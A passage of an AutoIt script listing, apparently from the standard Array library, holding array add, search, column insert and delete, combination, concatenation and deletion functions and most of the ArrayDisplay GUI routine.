  774. Global Const $idhelp = 9
  775. Global Const $idtryagain = 10
  776. Global Const $idcontinue = 11
  777.  
  778. Func _arrayadd(ByRef $avarray, $vvalue, $istart = 0, $sdelim_item = "|", $sdelim_row = @CRLF, $hdatatype = 0)
  779. If $istart = Default Then $istart = 0
  780. If $sdelim_item = Default Then $sdelim_item = "|"
  781. If $sdelim_row = Default Then $sdelim_row = @CRLF
  782. If $hdatatype = Default Then $hdatatype = 0
  783. If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
  784. Local $idim_1 = UBound($avarray, $ubound_rows)
  785. Switch UBound($avarray, $ubound_dimensions)
  786. Case 1
  787. If IsArray($vvalue) Then
  788. If UBound($vvalue, $ubound_dimensions) <> 1 Then Return SetError(5, 0, -1)
  789. $hdatatype = 0
  790. Else
  791. Local $atmp = StringSplit($vvalue, $sdelim_item, $str_nocount + $str_entiresplit)
  792. If UBound($atmp, $ubound_rows) = 1 Then
  793. $atmp[0] = $vvalue
  794. $hdatatype = 0
  795. EndIf
  796. $vvalue = $atmp
  797. EndIf
  798. Local $iadd = UBound($vvalue, $ubound_rows)
  799. ReDim $avarray[$idim_1 + $iadd]
  800. For $i = 0 To $iadd - 1
  801. If IsFunc($hdatatype) Then
  802. $avarray[$idim_1 + $i] = $hdatatype($vvalue[$i])
  803. Else
  804. $avarray[$idim_1 + $i] = $vvalue[$i]
  805. EndIf
  806. Next
  807. Return $idim_1 + $iadd - 1
  808. Case 2
  809. Local $idim_2 = UBound($avarray, $ubound_columns)
  810. If $istart < 0 OR $istart > $idim_2 - 1 Then Return SetError(4, 0, -1)
  811. Local $ivaldim_1, $ivaldim_2
  812. If IsArray($vvalue) Then
  813. If UBound($vvalue, $ubound_dimensions) <> 2 Then Return SetError(5, 0, -1)
  814. $ivaldim_1 = UBound($vvalue, $ubound_rows)
  815. $ivaldim_2 = UBound($vvalue, $ubound_columns)
  816. $hdatatype = 0
  817. Else
  818. Local $asplit_1 = StringSplit($vvalue, $sdelim_row, $str_nocount + $str_entiresplit)
  819. $ivaldim_1 = UBound($asplit_1, $ubound_rows)
  820. StringReplace($asplit_1[0], $sdelim_item, "")
  821. $ivaldim_2 = @extended + 1
  822. Local $atmp[$ivaldim_1][$ivaldim_2], $asplit_2
  823. For $i = 0 To $ivaldim_1 - 1
  824. $asplit_2 = StringSplit($asplit_1[$i], $sdelim_item, $str_nocount + $str_entiresplit)
  825. For $j = 0 To $ivaldim_2 - 1
  826. $atmp[$i][$j] = $asplit_2[$j]
  827. Next
  828. Next
  829. $vvalue = $atmp
  830. EndIf
  831. If UBound($vvalue, $ubound_columns) + $istart > UBound($avarray, $ubound_columns) Then Return SetError(3, 0, -1)
  832. ReDim $avarray[$idim_1 + $ivaldim_1][$idim_2]
  833. For $iwriteto_index = 0 To $ivaldim_1 - 1
  834. For $j = 0 To $idim_2 - 1
  835. If $j < $istart Then
  836. $avarray[$iwriteto_index + $idim_1][$j] = ""
  837. ElseIf $j - $istart > $ivaldim_2 - 1 Then
  838. $avarray[$iwriteto_index + $idim_1][$j] = ""
  839. Else
  840. If IsFunc($hdatatype) Then
  841. $avarray[$iwriteto_index + $idim_1][$j] = $hdatatype($vvalue[$iwriteto_index][$j - $istart])
  842. Else
  843. $avarray[$iwriteto_index + $idim_1][$j] = $vvalue[$iwriteto_index][$j - $istart]
  844. EndIf
  845. EndIf
  846. Next
  847. Next
  848. Case Else
  849. Return SetError(2, 0, -1)
  850. EndSwitch
  851. Return UBound($avarray, $ubound_rows) - 1
  852. EndFunc
  853.  
  854. Func _arraybinarysearch(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0, $icolumn = 0)
  855. If $istart = Default Then $istart = 0
  856. If $iend = Default Then $iend = 0
  857. If $icolumn = Default Then $icolumn = 0
  858. If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
  859. Local $idim_1 = UBound($avarray, $ubound_rows)
  860. If $idim_1 = 0 Then Return SetError(6, 0, -1)
  861. If $iend < 1 OR $iend > $idim_1 - 1 Then $iend = $idim_1 - 1
  862. If $istart < 0 Then $istart = 0
  863. If $istart > $iend Then Return SetError(4, 0, -1)
  864. Local $imid = Int(($iend + $istart) / 2)
  865. Switch UBound($avarray, $ubound_dimensions)
  866. Case 1
  867. If $avarray[$istart] > $vvalue OR $avarray[$iend] < $vvalue Then Return SetError(2, 0, -1)
  868. While $istart <= $imid AND $vvalue <> $avarray[$imid]
  869. If $vvalue < $avarray[$imid] Then
  870. $iend = $imid - 1
  871. Else
  872. $istart = $imid + 1
  873. EndIf
  874. $imid = Int(($iend + $istart) / 2)
  875. WEnd
  876. If $istart > $iend Then Return SetError(3, 0, -1)
  877. Case 2
  878. Local $idim_2 = UBound($avarray, $ubound_columns) - 1
  879. If $icolumn < 0 OR $icolumn > $idim_2 Then Return SetError(7, 0, -1)
  880. If $avarray[$istart][$icolumn] > $vvalue OR $avarray[$iend][$icolumn] < $vvalue Then Return SetError(2, 0, -1)
  881. While $istart <= $imid AND $vvalue <> $avarray[$imid][$icolumn]
  882. If $vvalue < $avarray[$imid][$icolumn] Then
  883. $iend = $imid - 1
  884. Else
  885. $istart = $imid + 1
  886. EndIf
  887. $imid = Int(($iend + $istart) / 2)
  888. WEnd
  889. If $istart > $iend Then Return SetError(3, 0, -1)
  890. Case Else
  891. Return SetError(5, 0, -1)
  892. EndSwitch
  893. Return $imid
  894. EndFunc
  895.  
  896. Func _arraycoldelete(ByRef $avarray, $icolumn, $bconvert = False)
  897. If $bconvert = Default Then $bconvert = False
  898. If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
  899. Local $idim_1 = UBound($avarray, $ubound_rows)
  900. If UBound($avarray, $ubound_dimensions) <> 2 Then Return SetError(2, 0, -1)
  901. Local $idim_2 = UBound($avarray, $ubound_columns)
  902. Switch $idim_2
  903. Case 2
  904. If $icolumn < 0 OR $icolumn > 1 Then Return SetError(3, 0, -1)
  905. If $bconvert Then
  906. Local $atemparray[$idim_1]
  907. For $i = 0 To $idim_1 - 1
  908. $atemparray[$i] = $avarray[$i][(NOT $icolumn)]
  909. Next
  910. $avarray = $atemparray
  911. Else
  912. ContinueCase
  913. EndIf
  914. Case Else
  915. If $icolumn < 0 OR $icolumn > $idim_2 - 1 Then Return SetError(3, 0, -1)
  916. For $i = 0 To $idim_1 - 1
  917. For $j = $icolumn To $idim_2 - 2
  918. $avarray[$i][$j] = $avarray[$i][$j + 1]
  919. Next
  920. Next
  921. ReDim $avarray[$idim_1][$idim_2 - 1]
  922. EndSwitch
  923. Return UBound($avarray, $ubound_columns)
  924. EndFunc
  925.  
  926. Func _arraycolinsert(ByRef $avarray, $icolumn)
  927. If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
  928. Local $idim_1 = UBound($avarray, $ubound_rows)
  929. Switch UBound($avarray, $ubound_dimensions)
  930. Case 1
  931. Local $atemparray[$idim_1][2]
  932. Switch $icolumn
  933. Case 0, 1
  934. For $i = 0 To $idim_1 - 1
  935. $atemparray[$i][(NOT $icolumn)] = $avarray[$i]
  936. Next
  937. Case Else
  938. Return SetError(3, 0, -1)
  939. EndSwitch
  940. $avarray = $atemparray
  941. Case 2
  942. Local $idim_2 = UBound($avarray, $ubound_columns)
  943. If $icolumn < 0 OR $icolumn > $idim_2 Then Return SetError(3, 0, -1)
  944. ReDim $avarray[$idim_1][$idim_2 + 1]
  945. For $i = 0 To $idim_1 - 1
  946. For $j = $idim_2 To $icolumn + 1 Step -1
  947. $avarray[$i][$j] = $avarray[$i][$j - 1]
  948. Next
  949. $avarray[$i][$icolumn] = ""
  950. Next
  951. Case Else
  952. Return SetError(2, 0, -1)
  953. EndSwitch
  954. Return UBound($avarray, $ubound_columns)
  955. EndFunc
  956.  
  957. Func _arraycombinations(Const ByRef $avarray, $iset, $sdelim = "")
  958. If $sdelim = Default Then $sdelim = ""
  959. If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
  960. If UBound($avarray, $ubound_dimensions) <> 1 Then Return SetError(2, 0, 0)
  961. Local $in = UBound($avarray)
  962. Local $ir = $iset
  963. Local $aidx[$ir]
  964. For $i = 0 To $ir - 1
  965. $aidx[$i] = $i
  966. Next
  967. Local $itotal = __array_combinations($in, $ir)
  968. Local $ileft = $itotal
  969. Local $aresult[$itotal + 1]
  970. $aresult[0] = $itotal
  971. Local $icount = 1
  972. While $ileft > 0
  973. __array_getnext($in, $ir, $ileft, $itotal, $aidx)
  974. For $i = 0 To $iset - 1
  975. $aresult[$icount] &= $avarray[$aidx[$i]] & $sdelim
  976. Next
  977. If $sdelim <> "" Then $aresult[$icount] = StringTrimRight($aresult[$icount], 1)
  978. $icount += 1
  979. WEnd
  980. Return $aresult
  981. EndFunc
  982.  
  983. Func _arrayconcatenate(ByRef $avarray_tgt, Const ByRef $avarray_src, $istart = 0)
  984. If $istart = Default Then $istart = 0
  985. If NOT IsArray($avarray_tgt) Then Return SetError(1, 0, -1)
  986. If NOT IsArray($avarray_src) Then Return SetError(2, 0, -1)
  987. Local $idim_total_tgt = UBound($avarray_tgt, $ubound_dimensions)
  988. Local $idim_total_src = UBound($avarray_src, $ubound_dimensions)
  989. Local $idim_1_tgt = UBound($avarray_tgt, $ubound_rows)
  990. Local $idim_1_src = UBound($avarray_src, $ubound_rows)
  991. If $istart < 0 OR $istart > $idim_1_src - 1 Then Return SetError(6, 0, -1)
  992. Switch $idim_total_tgt
  993. Case 1
  994. If $idim_total_src <> 1 Then Return SetError(4, 0, -1)
  995. ReDim $avarray_tgt[$idim_1_tgt + $idim_1_src - $istart]
  996. For $i = $istart To $idim_1_src - 1
  997. $avarray_tgt[$idim_1_tgt + $i - $istart] = $avarray_src[$i]
  998. Next
  999. Case 2
  1000. If $idim_total_src <> 2 Then Return SetError(4, 0, -1)
  1001. Local $idim_2_tgt = UBound($avarray_tgt, $ubound_columns)
  1002. If UBound($avarray_src, $ubound_columns) <> $idim_2_tgt Then Return SetError(5, 0, -1)
  1003. ReDim $avarray_tgt[$idim_1_tgt + $idim_1_src - $istart][$idim_2_tgt]
  1004. For $i = $istart To $idim_1_src - 1
  1005. For $j = 0 To $idim_2_tgt - 1
  1006. $avarray_tgt[$idim_1_tgt + $i - $istart][$j] = $avarray_src[$i][$j]
  1007. Next
  1008. Next
  1009. Case Else
  1010. Return SetError(3, 0, -1)
  1011. EndSwitch
  1012. Return UBound($avarray_tgt, $ubound_rows)
  1013. EndFunc
  1014.  
  1015. Func _arraydelete(ByRef $avarray, $vrange)
  1016. If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
  1017. Local $idim_1 = UBound($avarray, $ubound_rows) - 1
  1018. If IsArray($vrange) Then
  1019. If UBound($vrange, $ubound_dimensions) <> 1 OR UBound($vrange, $ubound_rows) < 2 Then Return SetError(4, 0, -1)
  1020. Else
  1021. Local $inumber, $asplit_1, $asplit_2
  1022. $vrange = StringStripWS($vrange, 8)
  1023. $asplit_1 = StringSplit($vrange, ";")
  1024. $vrange = ""
  1025. For $i = 1 To $asplit_1[0]
  1026. If NOT StringRegExp($asplit_1[$i], "^\d+(-\d+)?$") Then Return SetError(3, 0, -1)
  1027. $asplit_2 = StringSplit($asplit_1[$i], "-")
  1028. Switch $asplit_2[0]
  1029. Case 1
  1030. $vrange &= $asplit_2[1] & ";"
  1031. Case 2
  1032. If Number($asplit_2[2]) >= Number($asplit_2[1]) Then
  1033. $inumber = $asplit_2[1] - 1
  1034. Do
  1035. $inumber += 1
  1036. $vrange &= $inumber & ";"
  1037. Until $inumber = $asplit_2[2]
  1038. EndIf
  1039. EndSwitch
  1040. Next
  1041. $vrange = StringSplit(StringTrimRight($vrange, 1), ";")
  1042. EndIf
  1043. If $vrange[1] < 0 OR $vrange[$vrange[0]] > $idim_1 Then Return SetError(5, 0, -1)
  1044. Local $icopyto_index = 0
  1045. Switch UBound($avarray, $ubound_dimensions)
  1046. Case 1
  1047. For $i = 1 To $vrange[0]
  1048. $avarray[$vrange[$i]] = ChrW(64177)
  1049. Next
  1050. For $ireadfrom_index = 0 To $idim_1
  1051. If $avarray[$ireadfrom_index] == ChrW(64177) Then
  1052. ContinueLoop
  1053. Else
  1054. If $ireadfrom_index <> $icopyto_index Then
  1055. $avarray[$icopyto_index] = $avarray[$ireadfrom_index]
  1056. EndIf
  1057. $icopyto_index += 1
  1058. EndIf
  1059. Next
  1060. ReDim $avarray[$idim_1 - $vrange[0] + 1]
  1061. Case 2
  1062. Local $idim_2 = UBound($avarray, $ubound_columns) - 1
  1063. For $i = 1 To $vrange[0]
  1064. $avarray[$vrange[$i]][0] = ChrW(64177)
  1065. Next
  1066. For $ireadfrom_index = 0 To $idim_1
  1067. If $avarray[$ireadfrom_index][0] == ChrW(64177) Then
  1068. ContinueLoop
  1069. Else
  1070. If $ireadfrom_index <> $icopyto_index Then
  1071. For $j = 0 To $idim_2
  1072. $avarray[$icopyto_index][$j] = $avarray[$ireadfrom_index][$j]
  1073. Next
  1074. EndIf
  1075. $icopyto_index += 1
  1076. EndIf
  1077. Next
  1078. ReDim $avarray[$idim_1 - $vrange[0] + 1][$idim_2 + 1]
  1079. Case Else
  1080. Return SetError(2, 0, False)
  1081. EndSwitch
  1082. Return UBound($avarray, $ubound_rows)
  1083. EndFunc
  1084.  
  1085. Func _arraydisplay(Const ByRef $avarray, $stitle = Default, $sarray_range = Default, $iflags = Default, $vuser_separator = Default, $sheader = Default, $imax_colwidth = Default, $ialt_color = Default, $huser_func = Default)
  1086. If $stitle = Default Then $stitle = "ArrayDisplay"
  1087. If $sarray_range = Default Then $sarray_range = ""
  1088. If $iflags = Default Then $iflags = 0
  1089. If $vuser_separator = Default Then $vuser_separator = ""
  1090. If $sheader = Default Then $sheader = ""
  1091. If $imax_colwidth = Default Then $imax_colwidth = 350
  1092. If $ialt_color = Default Then $ialt_color = 0
  1093. If $huser_func = Default Then $huser_func = 0
  1094. Local $itranspose = BitAND($iflags, 1)
  1095. Local $icolalign = BitAND($iflags, 6)
  1096. Local $iverbose = BitAND($iflags, 8)
  1097. Local $ibuttonmargin = ((BitAND($iflags, 32)) ? (0) : ((BitAND($iflags, 16)) ? (20) : (40)))
  1098. Local $inorow = BitAND($iflags, 64)
  1099. Local $smsg = "", $iret = 1
  1100. If IsArray($avarray) Then
  1101. Local $idimension = UBound($avarray, $ubound_dimensions), $irowcount = UBound($avarray, $ubound_rows), $icolcount = UBound($avarray, $ubound_columns)
  1102. If $idimension > 2 Then
  1103. $smsg = "Larger than 2D array passed to function"
  1104. $iret = 2
  1105. EndIf
  1106. Else
  1107. $smsg = "No array variable passed to function"
  1108. EndIf
  1109. If $smsg Then
  1110. If $iverbose AND MsgBox($mb_systemmodal + $mb_iconerror + $mb_yesno, "ArrayDisplay Error: " & $stitle, $smsg & @CRLF & @CRLF & "Exit the script?") = $idyes Then
  1111. Exit
  1112. Else
  1113. Return SetError($iret, 0, "")
  1114. EndIf
  1115. EndIf
  1116. Local $icw_colwidth = Number($vuser_separator)
  1117. Local $sad_separator = ChrW(64177)
  1118. Local $scurr_separator = Opt("GUIDataSeparatorChar", $sad_separator)
  1119. If $vuser_separator = "" Then $vuser_separator = $scurr_separator
  1120. Local $vtmp, $irowlimit = 65525, $icollimit = 250
  1121. Local $idatarow = $irowcount
  1122. Local $idatacol = $icolcount
  1123. Local $iitem_start = 0, $iitem_end = $irowcount - 1, $isubitem_start = 0, $isubitem_end = (($idimension = 2) ? ($icolcount - 1) : (0))
  1124. Local $brange_flag = False
  1125. If $sarray_range Then
  1126. Local $aarray_range = StringRegExp($sarray_range & "||", "(?U)(.*)\|", 3)
  1127. Local $avrangesplit = StringSplit($aarray_range[0], ":")
  1128. If @error Then
  1129. If Number($avrangesplit[1]) Then
  1130. $iitem_end = Number($avrangesplit[1])
  1131. EndIf
  1132. Else
  1133. $iitem_start = Number($avrangesplit[1])
  1134. If Number($avrangesplit[2]) Then
  1135. $iitem_end = Number($avrangesplit[2])
  1136. EndIf
  1137. EndIf
  1138. If $iitem_start > $iitem_end Then
  1139. $vtmp = $iitem_start
  1140. $iitem_start = $iitem_end
  1141. $iitem_end = $vtmp
  1142. EndIf
  1143. If $iitem_start < 0 Then $iitem_start = 0
  1144. If $iitem_end > $irowcount - 1 Then $iitem_end = $irowcount - 1
  1145. If $iitem_start <> 0 OR $iitem_end <> $irowcount - 1 Then $brange_flag = True
  1146. If $idimension = 2 Then
  1147. $avrangesplit = StringSplit($aarray_range[1], ":")
  1148. If @error Then
  1149. If Number($avrangesplit[1]) Then
  1150. $isubitem_end = Number($avrangesplit[1])
  1151. EndIf
  1152. Else
  1153. $isubitem_start = Number($avrangesplit[1])
  1154. If Number($avrangesplit[2]) Then
  1155. $isubitem_end = Number($avrangesplit[2])
  1156. EndIf
  1157. EndIf
  1158. If $isubitem_start > $isubitem_end Then
  1159. $vtmp = $isubitem_start
  1160. $isubitem_start = $isubitem_end
  1161. $isubitem_end = $vtmp
  1162. EndIf
  1163. If $isubitem_start < 0 Then $isubitem_start = 0
  1164. If $isubitem_end > $icolcount - 1 Then $isubitem_end = $icolcount - 1
  1165. If $isubitem_start <> 0 OR $isubitem_end <> $icolcount - 1 Then $brange_flag = True
  1166. EndIf
  1167. EndIf
  1168. Local $sdisplaydata = "[" & $idatarow
  1169. Local $btruncated = False
  1170. If $itranspose Then
  1171. If $iitem_end - $iitem_start > $icollimit Then
  1172. $btruncated = True
  1173. $iitem_end = $iitem_start + $icollimit - 1
  1174. EndIf
  1175. Else
  1176. If $iitem_end - $iitem_start > $irowlimit Then
  1177. $btruncated = True
  1178. $iitem_end = $iitem_start + $irowlimit - 1
  1179. EndIf
  1180. EndIf
  1181. If $btruncated Then
  1182. $sdisplaydata &= "*]"
  1183. Else
  1184. $sdisplaydata &= "]"
  1185. EndIf
  1186. If $idimension = 2 Then
  1187. $sdisplaydata &= " [" & $idatacol
  1188. If $itranspose Then
  1189. If $isubitem_end - $isubitem_start > $irowlimit Then
  1190. $btruncated = True
  1191. $isubitem_end = $isubitem_start + $irowlimit - 1
  1192. EndIf
  1193. Else
  1194. If $isubitem_end - $isubitem_start > $icollimit Then
  1195. $btruncated = True
  1196. $isubitem_end = $isubitem_start + $icollimit - 1
  1197. EndIf
  1198. EndIf
  1199. If $btruncated Then
  1200. $sdisplaydata &= "*]"
  1201. Else
  1202. $sdisplaydata &= "]"
  1203. EndIf
  1204. EndIf
  1205. Local $stipdata = ""
  1206. If $btruncated Then $stipdata &= "Truncated"
  1207. If $brange_flag Then
  1208. If $stipdata Then $stipdata &= " - "
  1209. $stipdata &= "Range set"
  1210. EndIf
  1211. If $itranspose Then
  1212. If $stipdata Then $stipdata &= " - "
  1213. $stipdata &= "Transposed"
  1214. EndIf
  1215. Local $asheader = StringSplit($sheader, $scurr_separator, $str_nocount)
  1216. If UBound($asheader) = 0 Then Local $asheader[1] = [""]
  1217. $sheader = "Row"
  1218. Local $iindex = $isubitem_start
  1219. If $itranspose Then
  1220. For $j = $iitem_start To $iitem_end
  1221. $sheader &= $sad_separator & "Col " & $j
  1222. Next
  1223. Else
  1224. If $asheader[0] Then
  1225. For $iindex = $isubitem_start To $isubitem_end
  1226. If $iindex >= UBound($asheader) Then ExitLoop
  1227. $sheader &= $sad_separator & $asheader[$iindex]
  1228. Next
  1229. EndIf
  1230. For $j = $iindex To $isubitem_end
  1231. $sheader &= $sad_separator & "Col " & $j
  1232. Next
  1233. EndIf
  1234. If $inorow Then $sheader = StringTrimLeft($sheader, 4)
  1235. If $iverbose AND ($iitem_end - $iitem_start + 1) * ($isubitem_end - $isubitem_start + 1) > 10000 Then
  1236. SplashTextOn("ArrayDisplay", "Preparing display" & @CRLF & @CRLF & "Please be patient", 300, 100)
  1237. EndIf
  1238. Local $ibuffer = 4094
  1239. If $itranspose Then
  1240. $vtmp = $iitem_start
  1241. $iitem_start = $isubitem_start
  1242. $isubitem_start = $vtmp
  1243. $vtmp = $iitem_end
  1244. $iitem_end = $isubitem_end
  1245. $isubitem_end = $vtmp
  1246. EndIf
  1247. Local $avarraytext[$iitem_end - $iitem_start + 1]
  1248. For $i = $iitem_start To $iitem_end
  1249. If NOT $inorow Then $avarraytext[$i - $iitem_start] = "[" & $i & "]"
  1250. For $j = $isubitem_start To $isubitem_end
  1251. If $idimension = 1 Then
  1252. If $itranspose Then
  1253. $vtmp = $avarray[$j]
  1254. Else
  1255. $vtmp = $avarray[$i]
  1256. EndIf
  1257. Else
  1258. If $itranspose Then
  1259. $vtmp = $avarray[$j][$i]
  1260. Else
  1261. $vtmp = $avarray[$i][$j]
  1262. EndIf
  1263. EndIf
  1264. If StringLen($vtmp) > $ibuffer Then $vtmp = StringLeft($vtmp, $ibuffer)
  1265. $avarraytext[$i - $iitem_start] &= $sad_separator & $vtmp
  1266. Next
  1267. If $inorow Then $avarraytext[$i - $iitem_start] = StringTrimLeft($avarraytext[$i - $iitem_start], 1)
  1268. Next
  1269. Local Const $_arrayconstant_gui_dockbottom = 64
  1270. Local Const $_arrayconstant_gui_dockborders = 102
  1271. Local Const $_arrayconstant_gui_dockheight = 512
  1272. Local Const $_arrayconstant_gui_dockleft = 2
  1273. Local Const $_arrayconstant_gui_dockright = 4
  1274. Local Const $_arrayconstant_gui_dockhcenter = 8
  1275. Local Const $_arrayconstant_gui_event_close = -3
  1276. Local Const $_arrayconstant_gui_focus = 256
  1277. Local Const $_arrayconstant_gui_bkcolor_lv_alternate = -33554432
  1278. Local Const $_arrayconstant_ss_center = 1
  1279. Local Const $_arrayconstant_ss_centerimage = 512
  1280. Local Const $_arrayconstant_lvm_getitemcount = (4096 + 4)
  1281. Local Const $_arrayconstant_lvm_getitemrect = (4096 + 14)
  1282. Local Const $_arrayconstant_lvm_getcolumnwidth = (4096 + 29)
  1283. Local Const $_arrayconstant_lvm_setcolumnwidth = (4096 + 30)
  1284. Local Const $_arrayconstant_lvm_getitemstate = (4096 + 44)
  1285. Local Const $_arrayconstant_lvm_getselectedcount = (4096 + 50)
  1286. Local Const $_arrayconstant_lvm_setextendedlistviewstyle = (4096 + 54)
  1287. Local Const $_arrayconstant_lvs_ex_gridlines = 1
  1288. Local Const $_arrayconstant_lvis_selected = 2
  1289. Local Const $_arrayconstant_lvs_showselalways = 8
  1290. Local Const $_arrayconstant_lvs_ex_fullrowselect = 32
  1291. Local Const $_arrayconstant_ws_ex_clientedge = 512
  1292. Local Const $_arrayconstant_ws_maximizebox = 65536
  1293. Local Const $_arrayconstant_ws_minimizebox = 131072
  1294. Local Const $_arrayconstant_ws_sizebox = 262144
  1295. Local Const $_arrayconstant_wm_setredraw = 11
  1296. Local Const $_arrayconstant_lvscw_autosize = -1
  1297. Local $iorgwidth = 210, $iheight = 200, $iminsize = 250
  1298. Local $hgui = GUICreate($stitle, $iorgwidth, $iheight, Default, Default, BitOR($_arrayconstant_ws_sizebox, $_arrayconstant_ws_minimizebox, $_arrayconstant_ws_maximizebox))
  1299. Local $aiguisize = WinGetClientSize($hgui)
  1300. Local $ibuttonwidth_2 = $aiguisize[0] / 2
  1301. Local $ibuttonwidth_3 = $aiguisize[0] / 3
  1302. Local $idlistview = GUICtrlCreateListView($sheader, 0, 0, $aiguisize[0], $aiguisize[1] - $ibuttonmargin, $_arrayconstant_lvs_showselalways)
  1303. GUICtrlSetBkColor($idlistview, $_arrayconstant_gui_bkcolor_lv_alternate)
  1304. GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_lvs_ex_gridlines, $_arrayconstant_lvs_ex_gridlines)
  1305. GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_lvs_ex_fullrowselect, $_arrayconstant_lvs_ex_fullrowselect)
  1306. GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_ws_ex_clientedge, $_arrayconstant_ws_ex_clientedge)
  1307. Local $idcopy_id = 9999, $idcopy_data = 99999, $iddata_label = 99999, $iduser_func = 99999, $idexit_script = 99999
  1308. If $ibuttonmargin Then
  1309. $idcopy_id = GUICtrlCreateButton("Copy Data && Hdr/Row", 0, $aiguisize[1] - $ibuttonmargin, $ibuttonwidth_2, 20)
  1310. $idcopy_data = GUICtrlCreateButton("Copy Data Only", $ibuttonwidth_2, $aiguisize[1] - $ibuttonmargin, $ibuttonwidth_2, 20)
  1311. If $ibuttonmargin = 40 Then
  1312. Local $ibuttonwidth_var = $ibuttonwidth_2
  1313. Local $ioffset = $ibuttonwidth_2
  1314. If IsFunc($huser_func) Then
  1315. $iduser_func = GUICtrlCreateButton("Run User Func", $ibuttonwidth_3, $aiguisize[1] - 20, $ibuttonwidth_3, 20)
  1316. $ibuttonwidth_var = $ibuttonwidth_3
  1317. $ioffset = $ibuttonwidth_3 * 2
  1318. EndIf
  1319. $idexit_script = GUICtrlCreateButton("Exit Script", $ioffset, $aiguisize[1] - 20, $ibuttonwidth_var, 20)
  1320. $iddata_label = GUICtrlCreateLabel($sdisplaydata, 0, $aiguisize[1] - 20, $ibuttonwidth_var, 18, BitOR($_arrayconstant_ss_center, $_arrayconstant_ss_centerimage))
  1321. Select
  1322. Case $btruncated OR $itranspose OR $brange_flag
  1323. GUICtrlSetColor($iddata_label, 16711680)
  1324. GUICtrlSetTip($iddata_label, $stipdata)
  1325. EndSelect
  1326. EndIf
  1327. EndIf
  1328. GUICtrlSetResizing($idlistview, $_arrayconstant_gui_dockborders)
  1329. GUICtrlSetResizing($idcopy_id, $_arrayconstant_gui_dockleft + $_arrayconstant_gui_dockbottom + $_arrayconstant_gui_dockheight)
  1330. GUICtrlSetResizing($idcopy_data, $_arrayconstant_gui_dockright + $_arrayconstant_gui_dockbottom + $_arrayconstant_gui_dockheight)
  1331. GUICtrlSetResizing($iddata_label, $_arrayconstant_gui_dockleft + $_arrayconstant_gui_dockbottom + $_arrayconstant_gui_dockheight)
  1332. GUICtrlSetResizing($iduser_func, $_arrayconstant_gui_dockhcenter + $_arrayconstant_gui_dockbottom + $_arrayconstant_gui_dockheight)
  1333. GUICtrlSetResizing($idexit_script, $_arrayconstant_gui_dockright + $_arrayconstant_gui_dockbottom + $_arrayconstant_gui_dockheight)
  1334. GUICtrlSendMsg($idlistview, $_arrayconstant_wm_setredraw, 0, 0)
  1335. Local $iditem
  1336. For $i = 0 To UBound($avarraytext) - 1
  1337. $iditem = GUICtrlCreateListViewItem($avarraytext[$i], $idlistview)
  1338. If $ialt_color Then
  1339. GUICtrlSetBkColor($iditem, $ialt_color)
  1340. EndIf
  1341. Next
  1342. If $icolalign Then
  1343. Local Const $_arrayconstant_lvcf_fmt = 1
  1344. Local Const $_arrayconstant_lvm_setcolumnw = (4096 + 96)
  1345. Local $tcolumn = DllStructCreate("uint Mask;int Fmt;int CX;ptr Text;int TextMax;int SubItem;int Image;int Order;int cxMin;int cxDefault;int cxIdeal")
  1346. DllStructSetData($tcolumn, "Mask", $_arrayconstant_lvcf_fmt)
  1347. DllStructSetData($tcolumn, "Fmt", $icolalign / 2)
  1348. Local $pcolumn = DllStructGetPtr($tcolumn)
  1349. For $i = 1 To $isubitem_end - $isubitem_start + 1
  1350. GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_setcolumnw, $i, $pcolumn)
  1351. Next
  1352. EndIf
  1353. GUICtrlSendMsg($idlistview, $_arrayconstant_wm_setredraw, 1, 0)
  1354. Local $iborder = 45
  1355. If UBound($avarraytext) > 20 Then
  1356. $iborder += 20
  1357. EndIf
  1358. Local $iwidth = $iborder, $icolwidth = 0, $aicolwidth[$isubitem_end - $isubitem_start + 2], $imin_colwidth = 55
  1359. For $i = 0 To $isubitem_end - $isubitem_start + 1
  1360. GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_setcolumnwidth, $i, $_arrayconstant_lvscw_autosize)
  1361. $icolwidth = GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_getcolumnwidth, $i, 0)
  1362. If $icolwidth < $imin_colwidth Then
  1363. GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_setcolumnwidth, $i, $imin_colwidth)
  1364. $icolwidth = $imin_colwidth
  1365. EndIf
  1366. $iwidth += $icolwidth
  1367. $aicolwidth[$i] = $icolwidth
  1368. Next
  1369. If $inorow Then $iwidth -= 55
  1370. If $iwidth > @DesktopWidth - 100 Then
  1371. $iwidth = $iborder
  1372. For $i = 0 To $isubitem_end - $isubitem_start + 1
  1373. If $aicolwidth[$i] > $imax_colwidth Then
  1374. GUICtrlSendMsg($idlistview, $_arrayconstant_lvm_setcolumnwidth, $i, $imax_colwidth)
  1375. $iwidth += $imax_colwidth
  1376. Else
  1377. $iwidth += $aicolwidth[$i]
  1378. EndIf
  1379. Next
  1380. EndIf
  1381. If $iwidth > @DesktopWidth - 100 Then
  1382. $iwidth = @DesktopWidth - 100
  1383. ElseIf $iwidth < $iminsize Then
  1384. $iwidth = $iminsize
  1385. EndIf
  1386. Local $trect = DllStructCreate("struct; long Left;long Top;long Right;long Bottom; endstruct")
  1387. DllCall("user32.dll", "struct*", "SendMessageW", "hwnd", GUICtrlGetHandle($idlistview), "uint", $_arrayconstant_lvm_getitemrect, "wparam", 0, "struct*", $trect)
  1388. Local $aiwin_pos = WinGetPos($hgui)
  1389. Local $ailv_pos = ControlGetPos($hgui, "", $idlistview)
  1390. $iheight = ((UBound($avarraytext) + 2) * (DllStructGetData($trect, "Bottom") - DllStructGetData($trect, "Top"))) + $aiwin_pos[3] - $ailv_pos[3]
  1391. If $iheight > @DesktopHeight - 100 Then
  1392. $iheight = @DesktopHeight - 100
  1393. ElseIf $iheight < $iminsize Then
  1394. $iheight = $iminsize
  1395. EndIf
  1396. SplashOff()
  1397. GUISetState(@SW_HIDE, $hgui)
